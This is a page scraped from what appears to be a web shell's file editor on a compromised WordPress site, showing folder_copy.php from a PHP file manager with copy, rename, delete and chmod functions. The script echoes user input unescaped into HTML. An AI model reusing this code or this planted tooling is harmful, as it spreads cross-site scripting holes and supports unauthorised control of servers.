Edit File by line
/home/barbar84/www/wp-conte.../plugins/sujqvwi/ExeBy/exe_root.../proc/self/cwd
File: folder_copy.php
<?php
[0] Fix | Delete
[1] Fix | Delete
define('ACCESS', true);
[2] Fix | Delete
[3] Fix | Delete
include_once 'function.php';
[4] Fix | Delete
[5] Fix | Delete
[6] Fix | Delete
$title = 'Copy Folder';
[7] Fix | Delete
[8] Fix | Delete
include_once 'header.php';
[9] Fix | Delete
[10] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[11] Fix | Delete
[12] Fix | Delete
if ($dir == null || $name == null || !is_dir(processDirectory($dir . '/' . $name))) {
[13] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[14] Fix | Delete
<div class="title">Function</div>
[15] Fix | Delete
<ul class="list">
[16] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_0'] . '">List</a></li>
[17] Fix | Delete
</ul>';
[18] Fix | Delete
} else {
[19] Fix | Delete
$dir = processDirectory($dir);
[20] Fix | Delete
[21] Fix | Delete
if (isset($_POST['submit'])) {
[22] Fix | Delete
echo '<div class="notice_failure">';
[23] Fix | Delete
[24] Fix | Delete
if (empty($_POST['path']))
[25] Fix | Delete
echo 'Not fully entered information';
[26] Fix | Delete
else if ($dir == processDirectory($_POST['path']))
[27] Fix | Delete
echo 'The new path must be different from the current path';
[28] Fix | Delete
else if (!is_dir($_POST['path']))
[29] Fix | Delete
echo 'The new path does not exist';
[30] Fix | Delete
else if (isPathNotPermission(processDirectory($_POST['path'])))
[31] Fix | Delete
echo "You cannot Copy Folder to File Manager's Path";
[32] Fix | Delete
else if (isPathNotPermission(processDirectory($_POST['path'] . '/' . $name)))
[33] Fix | Delete
echo "You cannot Copy a Folder with the same Name to a Folder containing File Manager's Folder";
[34] Fix | Delete
else if (!copydir($dir . '/' . $name, processDirectory($_POST['path'])))
[35] Fix | Delete
echo 'Copy Folder failure';
[36] Fix | Delete
else
[37] Fix | Delete
goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
[38] Fix | Delete
[39] Fix | Delete
echo '</div>';
[40] Fix | Delete
}
[41] Fix | Delete
[42] Fix | Delete
echo '<div class="list">
[43] Fix | Delete
<span class="bull">&bull; </span><span>' . printPath($dir . '/' . $name, true) . '</span><hr/>
[44] Fix | Delete
<form action="folder_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
[45] Fix | Delete
<span class="bull">&bull; </span>Path Folder mới:<br/>
[46] Fix | Delete
<input type="text" name="path" value="' . (isset($_POST['path']) ? $_POST['path'] : $dir) . '" size="18"/><br/>
[47] Fix | Delete
<input type="submit" name="submit" value="Copy"/>
[48] Fix | Delete
</form>
[49] Fix | Delete
</div>
[50] Fix | Delete
<div class="title">Function</div>
[51] Fix | Delete
<ul class="list">
[52] Fix | Delete
[53] Fix | Delete
<li><img src="icon/rename.png"/> <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[54] Fix | Delete
<li><img src="icon/Copy.png"/> <a href="folder_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Move</a></li>
[55] Fix | Delete
<li><img src="icon/delete.png"/> <a href="folder_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[56] Fix | Delete
<li><img src="icon/access.png"/> <a href="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[57] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[58] Fix | Delete
</ul>';
[59] Fix | Delete
}
[60] Fix | Delete
[61] Fix | Delete
include_once 'footer.php';
[62] Fix | Delete
[63] Fix | Delete
[64] Fix | Delete
?>
[65] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function